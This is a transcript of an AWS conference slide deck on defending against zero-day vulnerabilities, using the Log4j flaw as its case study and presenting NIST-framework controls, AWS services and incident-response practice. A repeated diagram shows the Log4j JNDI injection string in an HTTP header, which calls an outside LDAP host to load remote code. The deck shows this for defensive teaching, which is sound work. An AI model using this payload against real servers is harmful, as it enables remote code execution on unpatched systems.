Upgrade to Pro — share decks privately, control downloads, hide ads and more …

A proactive approach to zero-days: Lessons learned from Log4j (Swiss Cloud Day 2022)

A proactive approach to zero-days: Lessons learned from Log4j (Swiss Cloud Day 2022)

In the run-up to the 2021 holiday season, many companies were hit by security vulnerabilities in the widespread Java logging framework, Apache Log4j. Organizations were in a reactionary position, trying to answer questions like: How do we figure out if this is in our environment?
How do we remediate across our environment?
How do we protect our environment?
In this session, learn about proactive measures that you should implement now to better prepare for future zero-day vulnerabilities.

Dennis Kieselhorst

September 29, 2022
Tweet

More Decks by Dennis Kieselhorst

Other Decks in Technology

Transcript

  1. Z U R I C H | 2 9 S E P T E M B E R 2 0 2 2

    View full-size slide

  2. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    A proactive approach to zero-days:
    Lessons learned from Log4j
    Dennis Kieselhorst (he/him)
    S E C 3 0 4
    Senior Solutions Architect
    Amazon Web Services

    View full-size slide

  3. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Zero-day?

    View full-size slide

  4. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    A zero-day is a computer-
    software vulnerability
    previously unknown to those
    who should be interested in its
    mitigation, like the vendor of
    the target software.
    Wikipedia
    https://en.wikipedia.org/wiki/Zero-day_(computing)
    Wikipedia

    View full-size slide

  5. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Log4j zero-day

    View full-size slide

  6. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Log4j JNDI vulnerability
    Open server
    http://user.xa
    Outside party
    The LDAP server responds with directory information
    that contains the outside-party malicious Java class
    Outside LDAP server
    ldap://outside.xa
    An unauthorized user inserts
    the JNDI lookup in a header
    field that is likely to be logged
    GET /test HTTP/1.1
    Host: user.xa
    User-Agent: ${jndi:ldap://outside.ca/x}
    Log4j interpolates the
    string and queries the
    outside LDAP server
    ${jndi:ldap://outside.ca/x} ldap://outside.ca/x
    The string is passed to
    Log4j for logging
    public class Malicious implements Serializable {
    ...
    static {

    }
    ...
    }
    dn:
    javaClassName: Malicious
    javaCodebase: http://outside.xa
    javaSerializedData: <...>
    Log4j
    implementation
    Java deserializes (or
    downloads) the outside
    Java class and runs it
    1. 2. 3.
    4.
    5.
    Source: “The log4j JNDI Attack” by GovCERT.ch with changes made under CC BY 2.0

    View full-size slide

  7. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Log4j related CVE records
    The Common Vulnerabilities and Exposures (CVE) program‘s mission is to identify,
    define, and catalog publicly disclosed cybersecurity vulnerabilities.
    Dictionary entry Description Score (CVSS/EPSS)
    CVE-2021-44228 JNDI vulnerability mentioned on previous slide 10.0 Critical 95.10%
    CVE-2021-44832
    Remote code execution (RCE) possible in
    combination with JDBC Appender
    6.6 Medium 68.64%
    CVE-2021-45046 Fix to address CVE-2021-44228 was incomplete 9.0 Critical 71.95%
    CVE-2021-45105
    Denial of service possibility when a crafted
    string is interpreted
    5.9 Medium 33.57%
    The Common Platform Enumeration (CPE) is a structured naming
    scheme in XML format for IT systems, software, and packages.
    This formal format allows checking and testing.

    View full-size slide

  8. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Immediate reactions
    How do I figure out
    if this is in my
    environment?
    Is AWS using Log4j?
    Which version?
    Which AWS services
    are affected?
    Should I get rid of
    open-source
    software?
    How do I protect my
    environment?
    How do I remediate
    across my
    environment?
    © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.

    View full-size slide

  9. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Shared responsibility model: Managed service
    AWS CUSTOMER
    AWS IDENTITY AND ACCESS MANAGEMENT
    CUSTOMER DATA, APPLICATION IDENTITY, AND ACCESS
    DATA ENCRYPTION
    & DATA INTEGRITY
    AUTHENTICATION
    APPLICATION MANAGEMENT
    INTERNET ACCESS,
    MONITORING & LOGGING
    Platform tools
    PLATFORM MANAGEMENT
    CODE ENCRYPTION
    (PROVIDED BY PLATFORM)
    Protection of data at rest
    NETWORKING TRAFFIC
    PROTECTION & FIREWALL
    CONFIGURATION
    Protection of data in transit
    OPERATING SYSTEM & NETWORK CONFIGURATION
    COMPUTE STORAGE DATABASE NETWORKING
    EDGE LOCATIONS
    REGION
    AVAILABILITY ZONES
    AWS
    GLOBAL INFRASTRUCTURE
    RESPONSIBLE
    FOR SECURITY
    “OF”
    THE CLOUD
    RESPONSIBLE
    FOR SECURITY
    “IN”
    THE CLOUD

    View full-size slide

  10. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Common themes

    View full-size slide

  11. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Two other zero-day examples besides Log4j
    Confluence (CVE-2022-26134)
    • Atlassian Confluence is a web-
    based corporate wiki software/
    collaboration platform.
    • The vulnerability allowed an
    unauthenticated user to run
    arbitrary code.
    • Insufficient input validation led to
    Object-Graph Navigation
    Language (OGNL) evaluation.
    Spring4Shell (CVE-2022-22965)
    • Spring is a famous framework for
    Java-based enterprise applications.
    • Web applications may be open to
    remote code execution (RCE) when
    deployed as web application archive
    (WAR) on Tomcat.
    • The issue relates to data binding
    used to populate an object from
    request parameters (either query
    parameters or form data).

    View full-size slide

  12. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    What did these have in common?
    Crafted traffic caused
    systems to respond with
    sensitive data
    Actors used these openings
    to gather credentials or run
    commands remotely
    Widely used technology
    requiring widespread
    patching to address issue
    Persistence techniques were
    commonly used after initial
    compromise

    View full-size slide

  13. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    OWASP Top 10
    Source: https://www.owasptopten.org/the-release-of-the-owasp-top-10-2021, CC BY-SA 4.0

    View full-size slide

  14. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Using the NIST Cybersecurity
    Framework to align priorities

    View full-size slide

  15. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    NIST Cybersecurity Framework overview
    • Framework for Improving Critical
    Infrastructure Cybersecurity
    • Initially published by The National
    Institute of Standards and
    Technology (NIST) in 2014
    • Framework core consists of five
    concurrent and continuous
    functions to provide a high-level,
    strategic view of the lifecycle of an
    organization’s management of
    cybersecurity risk
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT

    View full-size slide

  16. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Identify
    Develop the organizational
    understanding to manage
    cybersecurity risk to systems, assets,
    data, and capabilities.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT

    View full-size slide

  17. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Configuration management
    Governance and compliance
    management
    • Are my resources properly
    configured?
    • Do my resources comply with
    regulatory requirements
    • How do I ensure continuous
    compliance?
    • How can I get notified in near real-
    time if resource(s) go out of
    compliance?
    Inventory and configuration
    management
    • What is currently out there?
    • What is the latest configuration
    state of my resources?
    • What relationships exist between
    my resources?
    • What configuration changes
    occurred in the past?
    • Which resources have violated
    compliance policies?
    Example:

    View full-size slide

  18. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Example: AWS Config
    Changing resources AWS Config
    Normalized
    AWS Config rules
    Notifications
    API access
    History, snapshot

    View full-size slide

  19. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Infrastructure as code
    Reliably and consistently
    provisioning and configuring
    infrastructure is foundational for
    DevOps and fast
    software delivery
    Manual infrastructure processes can
    lack consistency, a single
    source of truth, and reliable
    detection/remediation of
    provisioning errors
    Examples: AWS CloudFormation, AWS
    CDK, HashiCorp Terraform

    View full-size slide

  20. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Software dependency management
    Software bill of materials (SBOM)
    • inventory of components used to build a software architect
    • formal and machine-readable metadata
    • provide transparency in software supply chain
    Software Package Data Exchange (SPDX)
    • open standard for communicating SBOM information
    • ISO/IEC 5962:2021

    View full-size slide

  21. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Log4j JNDI vulnerability
    Open server
    http://user.xa
    Outside party
    The LDAP server responds with directory information
    that contains the outside-party malicious Java class
    Outside LDAP server
    ldap://outside.xa
    An unauthorized user inserts
    the JNDI lookup in a header
    field that is likely to be logged
    GET /test HTTP/1.1
    Host: user.xa
    User-Agent: ${jndi:ldap://outside.ca/x}
    Log4j interpolates the
    string and queries the
    outside LDAP server
    ${jndi:ldap://outside.ca/x} ldap://outside.ca/x
    The string is passed to
    Log4j for logging
    public class Malicious implements Serializable {
    ...
    static {

    }
    ...
    }
    dn:
    javaClassName: Malicious
    javaCodebase: http://outside.xa
    javaSerializedData: <...>
    Log4j
    implementation
    Java deserializes (or
    downloads) the outside
    Java class and runs it
    1. 2. 3.
    4.
    5.
    “The log4j JNDI Attack” by GovCERT.ch with changes made under CC BY 2.0

    View full-size slide

  22. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Protect
    Develop and implement the
    appropriate safeguards to ensure
    delivery of critical infrastructure
    services.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT

    View full-size slide

  23. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Network, DNS and Web Application Firewalls
    Network Firewall
    • Packet filtering
    • IP block/ allow lists
    • Stateless/ stateful rules
    • FQDN filtering on
    HTTP/HTTPS
    • Protocol detection/
    enforcement
    DNS Firewall
    • DNS Filtering
    • Domain name based
    filtering
    • Custom deny actions
    (NXDOMAIN, OVERRIDE,
    NoData)
    • Filtering on Resolver and
    Resolver Endpoints
    Web Application Firewall (WAF)
    • Request filtering
    • SQL injection and cross-
    site scripting (XSS) attack
    detection
    • OWASP Top10 web
    application vulnerabilities
    • Bot protection and IP
    reputation list
    • Pattern matching (Regex)
    • Rate-limiting
    AWS Network Firewall AWS Route 53
    Resolver DNS Firewall
    AWS WAF
    Example services:

    View full-size slide

  24. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Log4j JNDI vulnerability
    Open server
    http://user.xa
    Outside party
    The LDAP server responds with directory information
    that contains the outside-party malicious Java class
    Outside LDAP server
    ldap://outside.xa
    An unauthorized user inserts
    the JNDI lookup in a header
    field that is likely to be logged
    GET /test HTTP/1.1
    Host: user.xa
    User-Agent: ${jndi:ldap://outside.ca/x}
    Log4j interpolates the
    string and queries the
    outside LDAP server
    ${jndi:ldap://outside.ca/x} ldap://outside.ca/x
    The string is passed to
    Log4j for logging
    public class Malicious implements Serializable {
    ...
    static {

    }
    ...
    }
    dn:
    javaClassName: Malicious
    javaCodebase: http://outside.xa
    javaSerializedData: <...>
    Log4j
    implementation
    Java deserializes (or
    downloads) the outside
    Java class and runs it
    1. 2. 3.
    4.
    5.
    “The log4j JNDI Attack” by GovCERT.ch with changes made under CC BY 2.0
    Block incoming request Block outgoing query

    View full-size slide

  25. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Detect
    Develop and implement the
    appropriate activities to identify the
    occurrence of a cybersecurity issue.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT

    View full-size slide

  26. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Logging (Observability)
    • Record all environment
    activity.
    • Monitor IP traffic in and out
    of network interfaces.
    • Monitor DNS traffic using
    DNS resolver (like Route 53).
    • Collect metrics in Cloud (on
    AWS) and on premises.
    Amazon
    CloudWatch
    DNS Resolver query
    logging
    Flow logs
    AWS CloudTrail
    Example services:

    View full-size slide

  27. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Tools for scanning and analysis
    • Based on log data sources:
    ▪ Enable continuous monitoring and analysis
    ▪ Use threat intelligence feeds and machine
    learning to detect unauthorized activity
    ▪ Simplify forensics
    • On virtual machines and container images:
    ▪ Discover vulnerabilities
    ▪ Prioritize patch remediation
    • Inside application source code:
    ▪ Proactively improve code quality
    ▪ Fix security vulnerabilities
    Amazon GuardDuty
    Example services:
    Amazon Inspector
    Amazon CodeGuru

    View full-size slide

  28. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Respond
    Develop and implement the
    appropriate activities to take action
    regarding a detected cybersecurity
    issue.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT

    View full-size slide

  29. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Foundation of Incident Response
    • Educate your security operations and incident response staff.
    • Prepare your incident response team to detect and respond to
    incidents by enabling detective capabilities, and ensuring appropriate
    access to the necessary tools and services.
    • Simulate both expected and unexpected security events within your
    cloud environment to understand the effectiveness of your
    preparation.
    • Iterate on the outcome of your simulation to improve the scale of
    your response posture, reduce time to value, and further reduce risk.
    30

    View full-size slide

  30. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Playbooks/ Runbooks
    • Establish formalized incident response processes
    • Can also help to comply with regulatory frameworks (like GDPR)
    • Don‘t have any? Dive in…
    • Resources:
    ▪ https://github.com/aws-samples/aws-incident-response-playbooks
    ▪ https://github.com/aws-samples/aws-customer-playbook-framework
    ▪ https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident-
    response-guide/welcome.html

    View full-size slide

  31. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Automation
    Speed
    Deploy many times a day
    instead once every few
    months
    Repeatability
    Never send a human to do a
    machine’s job. Humans are
    error-prone
    Confidence
    If you’re not sure whether it’ll
    work, you’ll hesitate. That
    slows you down and keeps you
    from fixing problems
    Transparency
    Automated processes are
    easier to measure and improve

    View full-size slide

  32. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Example: AWS Developer Tools for modern
    software delivery
    DEPLOY
    TEST
    BUILD
    SOURCE/
    ARTIFACT
    AUTHOR
    AWS Cloud9
    AWS IDE Toolkits
    AWS
    CodeBuild
    AWS
    CodeCommit
    AWS
    CodeDeploy
    AWS CodeBuild
    + Third Party
    AWS CodePipeline
    MODEL AWS CloudFormation AWS SAM
    AWS Cloud Development Kit
    AWS
    CodeArtifact

    View full-size slide

  33. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Example: AWS Systems Manager
    E N A B L E S C E N T R A L I Z E D C L O U D O P E R A T I O N S
    Group resources
    Create groups of resources
    across different AWS
    services, such as
    applications or different
    layers of an application
    stack
    Take action
    Respond to insights and
    automate operational
    actions across resource
    groups
    Visualize data
    View aggregated
    operational data by
    resource group
    AWS Systems
    Manager
    Systems Manager
    helps you safely
    manage and
    operate your
    resources at scale

    View full-size slide

  34. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Log4j JNDI vulnerability
    Open server
    http://user.xa
    Outside party
    The LDAP server responds with directory information
    that contains the outside-party malicious Java class
    Outside LDAP server
    ldap://outside.xa
    An unauthorized user inserts
    the JNDI lookup in a header
    field that is likely to be logged
    GET /test HTTP/1.1
    Host: user.xa
    User-Agent: ${jndi:ldap://outside.ca/x}
    Log4j interpolates the
    string and queries the
    outside LDAP server
    ${jndi:ldap://outside.ca/x} ldap://outside.ca/x
    The string is passed to
    Log4j for logging
    public class Malicious implements Serializable {
    ...
    static {

    }
    ...
    }
    dn:
    javaClassName: Malicious
    javaCodebase: http://outside.xa
    javaSerializedData: <...>
    Log4j
    implementation
    Java deserializes (or
    downloads) the outside
    Java class and runs it
    1. 2. 3.
    4.
    5.
    “The log4j JNDI Attack” by GovCERT.ch with changes made under CC BY 2.0
    Block incoming request Block outgoing query
    Patch log4j
    Disable JNDI lookups
    Disable log4j
    Disable remote codebases

    View full-size slide

  35. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Recover
    Develop and implement the
    appropriate activities to maintain
    plans for resilience and to restore any
    capabilities that were impaired due to
    a cybersecurity issue.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT

    View full-size slide

  36. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Strategies for disaster recovery
    Backup & restore Pilot light Active/active
    Warm standby
    RPO / RTO:
    Hours
    RPO / RTO:
    10s of minutes
    RPO / RTO:
    Minutes
    RPO / RTO:
    Real-time
    • Lower-priority use cases
    • Provision all AWS
    resources after event
    • Restore backups after
    event
    • Cost $
    • Data live
    • Services idle
    • Provision some AWS
    resources and scale after
    event
    • Cost: $$
    • Always running, but
    smaller
    • Business critical
    • Scale AWS resources
    after event
    • Cost $$$
    • Zero downtime
    • Near-zero data
    loss
    • Mission Critical
    Services
    • Cost $$$$
    Active/passive strategies

    View full-size slide

  37. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Quick Wins & Long Term
    Strategies

    View full-size slide

  38. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Quick wins
    • Implement basic egress
    controls, e.g. DNS firewall
    • Implement Amazon
    GuardDuty across AWS
    Organizations
    • Use AWS Managed Rules
    for AWS WAF
    • Use NACLs to control
    traffic

    View full-size slide

  39. © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Long-term strategies
    • Determine risk across environment
    to drive priorities
    • Define process for fleet-wide
    patching
    • Identify and enable a quick response
    team from across your organization
    • Get rid of unneeded (transitive)
    dependencies inside your
    applications
    • Develop and test playbooks for
    patching and response

    View full-size slide

  40. Thank you!
    © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
    Dennis Kieselhorst
    [email protected]
    kieselhorst

    View full-size slide

  41. Please complete
    the session survey
    © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.

    View full-size slide